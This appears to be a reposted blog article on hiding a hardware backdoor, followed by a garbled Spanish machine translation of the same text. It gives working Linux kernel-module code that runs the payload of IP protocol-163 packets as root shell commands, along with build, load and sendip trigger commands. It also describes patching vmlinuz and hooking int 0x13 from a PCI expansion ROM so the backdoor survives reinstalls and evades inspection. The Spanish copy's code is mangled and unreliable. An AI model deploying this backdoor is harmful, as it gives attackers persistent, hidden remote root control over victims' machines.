Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.
Remember Reflections on Trusting Trust, the classic paper describing how to hide a nearly undetectable backdoor inside the C compiler? Here's an interesting piece about how to hide a nearly undetectable backdoor inside hardware. The post describes how to install a backdoor in the expansion ROM of a PCI card, which during the boot process patches the BIOS to patch grub to patch the kernel to give the controller remote root access. Because the backdoor is actually housed in the hardware, even if the victim reinstalls the operating system from a CD, they won't clear out the backdoor. I wonder whether China, with its dominant position in the computer hardware assembly business, has already used this technique for espionage. This perhaps explains why the NASA has its own chip fabrication plant.
Modifying the kernel with a kernel module...
The easiest way to modify the behavior of our kernel is by loading a kernel module. Let’s start by writing a module that will allow us to remotely control a machine.
IP packets have a field called the protocol number, which is how systems distinguish between TCP and UDP and other protocols. We’re going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we’ll execute its data payload in a shell running as root. This will give us complete remote control of the machine.
The Linux kernel has a global table inet_protos consisting of a struct net_protocol * for each protocol number. The important field for our purposes is handler, a pointer to a function which takes a single argument of type struct sk_buff *. Whenever the Linux kernel receives an IP packet, it looks up the entry in inet_protos corresponding to the protocol number of the packet, and if the entry is not NULL, it passes the packet to the handler function. The struct sk_buff type is quite complicated, but the only field we care about is the data field, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using the call_usermodehelper function, so our handler looks like this:
int exec_packet(struct sk_buff *skb)
{
char *argv[4] = {"/bin/sh", "-c", skb->data, NULL};
char *envp[1] = {NULL};
call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT);
kfree_skb(skb);
return 0;
}
We also have to define a struct net_protocol which points to our packet handler, and register it when our module is loaded:
const struct net_protocol proto163_protocol = {
.handler = exec_packet,
.no_policy = 1,
.netns_ok = 1
};
int init_module(void)
{
return (inet_add_protocol(&proto163_protocol, 163) < 0);
}
Let’s build and load the module:
rwbarton@target:~$ make
make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic'
CC [M] /home/rwbarton/exec163.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/rwbarton/exec163.mod.o
LD [M] /home/rwbarton/exec163.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic'
rwbarton@target:~$ sudo insmod exec163.ko
Now we can use sendip (available in the sendip Ubuntu package) to construct and send a packet with protocol number 163 from a second machine (named control) to the target machine:
rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload
rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetip
rwbarton@target:~$ ls -l /tmp/x
-rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/x
Great! It worked. Note that we have to send a null-terminated string in the payload, because that’s what call_usermodehelper expects to find in argv and we didn’t add a terminator in exec_packet.
Modifying the on-disk kernel
In the previous section we used the module loader to make our changes to the running kernel. Our next goal is to make these changes by altering the kernel on the disk. This is basically an application of ordinary binary patching techniques, so we’re just going to give a high-level overview of what needs to be done.
The kernel lives in the /boot directory; on my test system, it’s called /boot/vmlinuz-2.6.32-24-generic. This file actually contains a compressed version of the kernel, along with the code which decompresses it and then jumps to the start. We’re going to modify this code to make a few changes to the decompressed image before executing it, which have the same effect as loading our kernel module did in the previous section.
When we used the kernel module loader to make our changes to the kernel, the module loader performed three important tasks for us:
1. it allocated kernel memory to store our kernel module, including both code (the exec_packet function) and data (proto163_protocol and the string constants in exec_packet) sections;
2. it performed relocations, so that, for example, exec_packet knows the addresses of the kernel functions it needs to call such as kfree_skb, as well as the addresses of its string constants;
3. it ran our init_module function.
We have to address each of these points in figuring out how to apply our changes without making use of the module loader.
The second and third points are relatively straightforward thanks to our simplifying assumption that we know the exact kernel version on the target system. We can look up the addresses of the kernel functions our module needs to call by hand, and define them as constants in our code. We can also easily patch the kernel’s startup function to install a pointer to our proto163_protocol in inet_protos[163], since we have an exact copy of its code.
The first point is a little tricky. Normally, we would call kmalloc to allocate some memory to store our module’s code and data, but we need to make our changes before the kernel has started running, so the memory allocator won’t be initialized yet. We could try to find some code to patch that runs late enough that it is safe to call kmalloc, but we’d still have to find somewhere to store that extra code.
What we’re going to do is cheat and find some data which isn’t used for anything terribly important, and overwrite it with our own data. In general, it’s hard to be sure what a given chunk of kernel image is used for; even a large chunk of zeros might be part of an important lookup table. However, we can be rather confident that any error messages in the kernel image are not used for anything besides being displayed to the user. We just need to find an error message which is long enough to provide space for our data, and obscure enough that it’s unlikely to ever be triggered. We’ll need well under 180 bytes for our data, so let’s look for strings in the kernel image which are at least that long:
rwbarton@target:~$ strings vmlinux | egrep '^.{180}' | less
One of the output lines is this one:
<4>Attempt to access file with crypto metadata only in the extended attribute region, but eCryptfs was mounted without xattr support enabled. eCryptfs will not treat this like an encrypted file.
This sounds pretty obscure to me, and a Google search doesn’t find any occurrences of this message which aren’t from the kernel source code. So, we’re going to just overwrite it with our data.
Having worked out what changes need to be applied to the decompressed kernel, we can modify the vmlinuz file so that it applies these changes after performing the decompression. Again, we need to find a place to store our added code, and conveniently enough, there are a bunch of strings used as error messages (in case decompression fails). We don’t expect the decompression to fail, because we didn’t modify the compressed image at all. So we’ll overwrite those error messages with code that applies our patches to the decompressed kernel, and modify the code in vmlinuz that decompresses the kernel to jump to our code after doing so. The changes amount to 5 bytes to write that jmp instruction, and about 200 bytes for the code and data that we use to patch the decompressed kernel.
Modifying the kernel during the boot process
Our end goal, however, is not to actually modify the on-disk kernel at all, but to create a piece of hardware which, if present in the target machine when it is booted, will cause our changes to be applied to the kernel. How can we accomplish that?
The PCI specification defines a “expansion ROM” mechanism whereby a PCI card can include a bit of code for the BIOS to execute during the boot procedure. This is intended to give the hardware a chance to initialize itself, but we can also use it for our own purposes. To figure out what code we need to include on our expansion ROM, we need to know a little more about the boot process.
When a machine boots up, the BIOS initializes the hardware, then loads the master boot record from the boot device, generally a hard drive. Disks are traditionally divided into conceptual units called sectors of 512 bytes each. The master boot record is the first sector on the drive. After loading the master boot record into memory, the BIOS jumps to the beginning of the record.
On my test system, the master boot record was installed by GRUB. It contains code to load the rest of the GRUB boot loader, which in turn loads the /boot/vmlinuz-2.6.32-24-generic image from the disk and executes it. GRUB contains a built-in driver which understands the ext4 filesystem layout. However, it relies on the BIOS to actually read data from the disk, in much the same way that a user-level program relies on an operating system to access the hardware. Roughly speaking, when GRUB wants to read some sectors off the disk, it loads the start sector, number of sectors to read, and target address into registers, and then invokes the int 0x13 instruction to raise an interrupt. The CPU has a table of interrupt descriptors, which specify for each interrupt number a function pointer to call when that interrupt is raised. During initialization, the BIOS sets up these function pointers so that, for example, the entry corresponding to interrupt 0x13 points to the BIOS code handling hard drive IO.
Our expansion ROM is run after the BIOS sets up these interrupt descriptors, but before the master boot record is read from the disk. So what we’ll do in the expansion ROM code is overwrite the entry for interrupt 0x13. This is actually a legitimate technique which we would use if we were writing an expansion ROM for some kind of exotic hard drive controller, which a generic BIOS wouldn’t know how to read, so that we could boot off of the exotic hard drive. In our case, though, what we’re going to make the int 0x13 handler do is to call the original interrupt handler, then check whether the data we read matches one of the sectors of /boot/vmlinuz-2.6.32-24-generic that we need to patch. The ext4 filesystem stores files aligned on sector boundaries, so we can easily determine whether we need to patch a sector that’s just been read by inspecting the first few bytes of the sector. Then we return from our custom int 0x13 handler. The code for this handler will be stored on our expansion ROM, and the entry point of our expansion ROM will set up the interrupt descriptor entry to point to it.
In summary, the boot process of the system with our PCI card inserted looks like this:
* The BIOS starts up and performs basic initialization, including setting up the interrupt descriptor table.
* The BIOS runs our expansion ROM code, which hooks the int 0x13 handler so that it will apply our patch to the vmlinuz file when it is read off the disk.
* The BIOS loads the master boot record installed by GRUB, and jumps to it. The master boot record loads the rest of GRUB.
* GRUB reads the vmlinuz file from the disk, but our custom int 0x13 handler applies our patches to the kernel before returning.
* GRUB jumps to the vmlinuz entry point, which decompresses the kernel image. Our modifications to vmlinuz cause it to overwrite a string constant with our exec_packet function and associated data, and also to overwrite the end of the startup code to install a pointer to this data in inet_protos[163].
* The startup code of the decompressed kernel runs and installs our handler in inet_protos[163].
* The kernel continues to boot normally.
We can now control the machine remotely over the Internet by sending it packets with protocol number 163.
One neat thing about this setup is that it’s not so easy to detect that anything unusual has happened. The running Linux system reads from the disk using its own drivers, not BIOS calls via the real-mode interrupt table, so inspecting the on-disk kernel image will correctly show that it is unmodified. For the same reason, if we use our remote control of the machine to install some malicious software which is then detected by the system administrator, the usual procedure of reinstalling the operating system and restoring data from backups will not remove our backdoor, since it is not stored on the disk at all.
What does all this mean in practice? Just like you should not run untrusted software, you should not install hardware provided by untrusted sources. Unless you work for something like a government intelligence agency, though, you shouldn’t realistically worry about installing commodity hardware from reputable vendors. After all, you’re already also trusting the manufacturer of your processor, RAM, etc., as well as your operating system and compiler providers. Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.
Reflections on Trusting Trust
Ken Thompson
Hiding Backdoors In Hardware
............................................................
Un atacante puede obtener el control de los sistemas mediante la explotación de fallos en los sistemas operativos mucho más fácilmente que mediante la distribución de hardware malicioso.
Recuerde Reflexiones sobre confiar en confianza, el papel clásico que describe cómo ocultar una puerta trasera casi imperceptible en el interior del compilador de C? He aquí un dato interesante acerca de cómo ocultar una puerta trasera casi imperceptible en el interior del hardware. El puesto se describe cómo instalar una puerta trasera en la ROM de expansión de una tarjeta PCI, que durante el proceso de arranque de los parches del BIOS a arrancar parche para parchear el kernel para dar el controlador de acceso remoto de root. Debido a que la puerta trasera se encuentra realmente en el hardware, incluso si la víctima vuelve a instalar el sistema operativo desde un CD, no se borrará por la puerta trasera. Me pregunto si China, con su posición dominante en el negocio de hardware de ensamblaje de computadores, ya ha utilizado esta técnica para el espionaje. Esto tal vez explica por qué la NASA tiene su propia planta de fabricación de chips.
Modificación del núcleo con un módulo del kernel
La forma más fácil de modificar el comportamiento de nuestro núcleo es mediante la carga de un módulo del kernel. Empecemos por escribir un módulo que nos permitirá controlar de forma remota una máquina.
paquetes IP tiene un campo llamado el número de protocolo, que es como los sistemas de distinguir entre TCP y UDP y otros protocolos. Vamos a escoger un número de protocolo utilizado, por ejemplo, 163, y tenemos nuestro módulo de escucha para los paquetes con ese número de protocolo. Cuando recibimos una, vamos a ejecutar sus datos de carga útil en un shell que se ejecuta como root. Esto nos dará completa de control remoto de la máquina.
El kernel de Linux tiene un inet_protos tabla global que consiste en una estructura * net_protocol para cada número de protocolo. El campo importante para nuestros propósitos es controlador, un puntero a una función que toma un solo argumento de tipo struct sk_buff *. Cada vez que el kernel de Linux recibe un paquete IP, busca la entrada en inet_protos correspondiente al número de protocolo del paquete, y si la entrada no es NULL, se pasa el paquete a la función de controlador. El tipo sk_buff estructura es bastante complicado, pero el único campo que nos interesa es el campo de datos, que es un puntero al comienzo de la carga útil del paquete (todo después de la cabecera IP). Queremos pasar la carga útil como comandos a un shell que se ejecuta con privilegios de root. Podemos crear un proceso en modo de usuario se ejecuta como root con la función call_usermodehelper, por lo que nuestro controlador es el siguiente:
exec_packet int (struct skb sk_buff *)
{
char * argv [4] = {"/ bin / sh", "-c", los datos> skb, NULL};
char * envp [1] = NULL {};
call_usermodehelper ("/ bin / sh", argv, envp, UMH_NO_WAIT);
kfree_skb (SKB);
return 0;
}
También tenemos que definir una estructura net_protocol que apunta a nuestro manejador de paquetes, y verlo cuando nuestro módulo está cargado:
const struct proto163_protocol net_protocol = {
. Controlador = exec_packet,
. No_policy = 1,
. Netns_ok = 1
};
int init_module (void)
{
retorno (inet_add_protocol (y proto163_protocol, 163) <0);
}
Vamos a crear y cargar el módulo:
rwbarton @ objetivo: ~ $ make
make-C / M lib/modules/2.6.32-24-generic/build = / home / módulos rwbarton
make [1]: se ingresa al directorio `/ usr/src/linux-headers-2.6.32-24-generic '
CC [M] / home/rwbarton/exec163.o
La construcción de módulos, la fase 2.
MODPOST 1 módulos
CC / home/rwbarton/exec163.mod.o
LD [M] / home/rwbarton/exec163.ko
make [1]: se sale del directorio `/ usr/src/linux-headers-2.6.32-24-generic '
rwbarton @ objetivo: ~ $ sudo insmod exec163.ko
Ahora podemos usar sendip (disponible en el paquete sendip Ubuntu) para construir y enviar un paquete con número de protocolo 163 de un segundo equipo (denominado de control) para el equipo de destino:
rwbarton control @: ~ $ echo-ne 'touch / tmp / x \ 0' carga>
rwbarton control @: ~ $ sudo sendip ipv4-p-0-ip 163-f de carga $ targetip
rwbarton @ objetivo: ~ $ ls-l / tmp / x
-Rw-r - r - 1 root root 0 12.10.2010 14:53 / tmp / x
Muy bien! Funcionó. Tenga en cuenta que tenemos que enviar una cadena de terminación nula en la carga útil, porque eso es lo call_usermodehelper espera encontrar en argv y no añadimos un terminador en exec_packet.
Modificación del núcleo en el disco
En la sección anterior hemos utilizado el cargador de módulos para que nuestros cambios en el núcleo en ejecución. Nuestra próxima meta es hacer que estos cambios modificando el núcleo en el disco. Esto es básicamente una aplicación de técnicas ordinarias parches binarios, por lo que sólo vamos a dar una visión general de lo que hay que hacer.
El núcleo de la vida en el directorio / boot, en mi sistema de prueba, que se llama / boot/vmlinuz-2.6.32-24-generic. Este archivo contiene en realidad una versión comprimida del núcleo, junto con el código que descomprime y luego salta al principio. Vamos a modificar este código para hacer algunos cambios a la imagen descomprimido antes de ejecutarlo, que tienen el mismo efecto que la carga de nuestro módulo del kernel hizo en la sección anterior.
Cuando usamos el gestor de módulos del núcleo para hacer nuestros cambios en el núcleo, el cargador de módulos realizado tres tareas importantes para nosotros:
1. asignó la memoria del kernel para almacenar nuestro módulo del kernel, que incluye tanto el código (la función exec_packet) y datos (proto163_protocol y las constantes de cadena en exec_packet) secciones;
2. se realizaron traslados de empresas, de modo que, por ejemplo, exec_packet sabe las direcciones de las funciones del kernel que necesita llamar como kfree_skb, así como las direcciones de las constantes de su cadena;
3. corría nuestra función init_module.
Tenemos que abordar cada uno de estos puntos en encontrar la manera de aplicar estos cambios, sin hacer uso del cargador de módulos.
Los puntos segundo y tercero son relativamente sencilla gracias a nuestro supuesto simplificador de que sabemos la versión exacta del núcleo del sistema de destino. Podemos buscar las direcciones de las funciones del kernel nuestro módulo tiene que llamar a mano, y definir como constantes en nuestro código. También puede fácilmente parche función de inicio del kernel para instalar un puntero a nuestro proto163_protocol en inet_protos [163], ya que tenemos una copia exacta de su código.
El primer punto es un poco difícil. Normalmente, nosotros llamaríamos kmalloc asignar algo de memoria para almacenar el código de nuestro módulo y los datos, pero tenemos que hacer nuestros cambios antes de que el núcleo ha empezado a ejecutarse, por lo que el asignador de memoria no inicializado todavía. Podríamos tratar de encontrar algo de código para el parche que se ejecuta lo suficientemente tarde como que es seguro llamar a kmalloc, pero todavía tendría que encontrar un lugar para almacenar el código adicional.
¿Qué vamos a hacer es engañar y encontrar algunos datos que no se utiliza para cualquier cosa terriblemente importante, y sobrescribir con nuestros propios datos. En general, es difícil estar seguro de lo que una buena parte determinada de la imagen del kernel se utiliza para, incluso una gran parte de ceros podría ser parte de una importante tabla de búsqueda. Sin embargo, podemos estar bastante seguros de que los mensajes de error en la imagen del núcleo no se utilizan para cualquier cosa, además de ser mostrado al usuario. Sólo tenemos que encontrar un mensaje de error que es lo suficientemente largo para proporcionar espacio para nuestros datos, y lo suficientemente oscuros que es poco probable que alguna vez se ha disparado. Vamos a necesitar muy por debajo de 180 bytes para los datos, así que vamos a buscar las cadenas en la imagen del núcleo que son por lo menos ese tiempo:
rwbarton @ objetivo: ~ $ vmlinux cadenas | '^ {180}. egrep | less
Una de las líneas de salida es la siguiente:
<4> Intento de acceso a archivos con metadatos de cifrado sólo en la región de atributos extendidos, pero eCryptfs se montó sin el apoyo xattr habilitado. eCryptfs no tratar esto como un archivo cifrado.
Esto suena bastante oscuro para mí, y una búsqueda en Google no encuentra que se produzcan hechos de este mensaje que no corresponden al código fuente del kernel. Por lo tanto, vamos a simplemente sobrescribir con nuestros datos.
Una vez que sepa qué cambios deben aplicarse al kernel descomprimido, podemos modificar el archivo vmlinuz para que se aplique estos cambios después de realizar la descompresión. Una vez más, tenemos que encontrar un lugar para almacenar el código añadido, y convenientemente suficiente, hay un montón de cadenas utilizadas como mensajes de error (en caso de no descompresión). No esperamos que la descompresión al fracaso, porque no modificó la imagen comprimida en absoluto. Así que vamos a sobrescribir los mensajes de error con el código que se aplica a nuestros parches al kernel descomprimido, y modificar el código en el vmlinuz que descomprime el kernel para ir a nuestro código después de hacerlo. El importe de los cambios a 5 bytes a escribir que la instrucción jmp, y cerca de 200 bytes para el código y los datos que utilizamos para parchear el kernel descomprimido.
Modificación del núcleo durante el proceso de arranque
Nuestro objetivo final, sin embargo, no es de modificar realmente el núcleo en el disco en absoluto, sino para crear una pieza de hardware que, si está presente en el equipo de destino cuando se inicia, hará que nuestros cambios que deben aplicarse al kernel. ¿Cómo podemos lograrlo?
La especificación PCI define una "ROM de expansión" mecanismo por el cual una tarjeta PCI puede incluir un poco de código de la BIOS para ejecutar durante el procedimiento de inicio. Con ello se pretende dar al equipo una oportunidad de iniciar, pero también podemos usar para nuestros propios fines. Para averiguar qué código es necesario incluir en nuestra ROM de expansión, necesitamos saber un poco más sobre el proceso de arranque.
Cuando un equipo se inicia, el BIOS inicializa el hardware, a continuación, carga el registro de inicio maestro del dispositivo de arranque, por lo general un disco duro. Los discos se dividen tradicionalmente en unidades conceptuales llamados sectores de 512 bytes cada uno. El registro de inicio maestro es el primer sector en el disco. Después de cargar el registro de inicio maestro en la memoria, el BIOS salta al principio del disco.
En mi sistema de prueba, el registro de inicio maestro se instaló GRUB. Contiene código para cargar el resto del gestor de arranque GRUB, el cual a su vez carga la imagen / boot/vmlinuz-2.6.32-24-generic desde el disco y lo ejecuta. GRUB contiene un controlador integrado que comprende el diseño de sistema de ficheros ext4. Sin embargo, se basa en la BIOS para leer realmente los datos del disco, en gran parte de la misma manera que un programa a nivel de usuario se basa en un sistema operativo para acceder al hardware. En términos generales, cuando GRUB quiere leer algunos sectores de la disco, se carga el sector de inicio, el número de sectores a leer, y la dirección de destino en los registros, y después invoca la instrucción int 0x13 para elevar una interrupción. La CPU tiene una tabla de descriptores de interrupción, que se especifican para cada número de interrumpir un puntero a función a llamar cuando la interrupción que se produce. Durante la inicialización, el BIOS configura estos punteros de función para que, por ejemplo, la entrada correspondiente a la interrupción 0x13 puntos en el código del BIOS de manipulación de E / S disco duro.
Nuestra expansión ROM se ejecuta después de la BIOS establece estos descriptores de interrupción, pero antes el registro de inicio maestro se lee desde el disco. Entonces, ¿qué vamos a hacer en el código ROM de expansión es sobrescribir la entrada de la interrupción 0x13. Esto es realmente una técnica legítima que usaríamos si estuviera escribiendo una ROM de expansión para algún tipo de controlador de disco duro exóticas, que un genérico BIOS no saben leer, para que podamos arrancar el disco duro exóticas. En nuestro caso, sin embargo, lo que vamos a hacer que el controlador de int 0x13 hacer es llamar al controlador de interrupción original, a continuación, comprobar si los datos se lee coincide con uno de los sectores de la / boot/vmlinuz-2.6.32-24- genéricas que necesitamos parche. El sistema de ficheros ext4 almacena archivos alineados en los límites del sector, por lo que puede determinar si es necesario para reparar un sector que acaba de ser leído por la inspección de los primeros bytes del sector. Entonces volvemos a nuestra costumbre int controlador de 0x13. El código de este controlador será almacenada en nuestros ROM de expansión, y el punto de entrada de nuestra ROM de expansión creará la entrada de descriptor de interrupción para que apunte a él.
En resumen, el proceso de arranque del sistema con nuestra tarjeta PCI añade es la siguiente:
* El BIOS inicia y realiza la inicialización de base, incluyendo la creación de la tabla de descriptores de interrupción.
* El BIOS se ejecuta el código ROM de expansión, que enlaza el controlador de int 0x13 para que se aplicará el parche en el archivo vmlinuz cuando se lee desde el disco.
* La BIOS carga el registro de inicio maestro instalado GRUB, y salta a ella. El maestro de las cargas de registro de inicio del resto de GRUB.
* GRUB lee el archivo vmlinuz desde el disco, pero nuestra costumbre int controlador de 0x13 aplica nuestros parches al kernel antes de regresar.
* GRUB salta al punto de entrada vmlinuz, que descomprime la imagen del núcleo. Nuestras modificaciones a vmlinuz hacer que sobrescribir una cadena constante con nuestros datos de la función exec_packet y asociados, y también para sobrescribir el final del código de inicio para instalar un puntero a estos datos en inet_protos [163].
* El código de inicio del núcleo descomprimido se ejecuta e instala nuestro controlador en inet_protos [163].
* El núcleo sigue arrancar normalmente.
Ahora puede controlar la máquina de forma remota a través de Internet mediante el envío de paquetes con número de protocolo 163.
Algo bueno de esta configuración es que no es tan fácil de detectar que algo extraño ha sucedido. El sistema Linux se lee desde el disco utilizando sus propios controladores, BIOS no llamadas a través de la mesa del real modo de interrupción, por lo que la inspección de la imagen del núcleo en el disco correctamente mostrar que está sin modificar. Por la misma razón, si utilizamos nuestro control remoto de la máquina para instalar algún software malicioso que es detectado por el administrador del sistema, el procedimiento habitual de reinstalar el sistema operativo y restaurar los datos de copias de seguridad no quitará nuestra puerta trasera, ya que es no se almacenan en el disco en absoluto.
¿Qué significa todo esto en la práctica? Al igual que usted no debe correr el software no es de confianza, no se debe instalar el hardware proporcionado por fuentes no confiables. A menos que usted trabaja para algo así como una agencia de inteligencia del gobierno, sin embargo, no realista debería preocuparse acerca de la instalación del hardware de los productos básicos de los vendedores de buena reputación. Después de todo, ya está también confiar en el fabricante de tu procesador, memoria RAM, etc, así como su sistema operativo y los proveedores de compilador. Por supuesto, la mayoría de las vulnerabilidades en el mundo real se deben a errores y no malicia. Un atacante puede obtener el control de los sistemas mediante la explotación de fallos en los sistemas operativos mucho más fácilmente que mediante la distribución de hardware malicioso.
Reflections on Trusting Trust
Ken Thompson
Ocultación de puertas traseras en hardware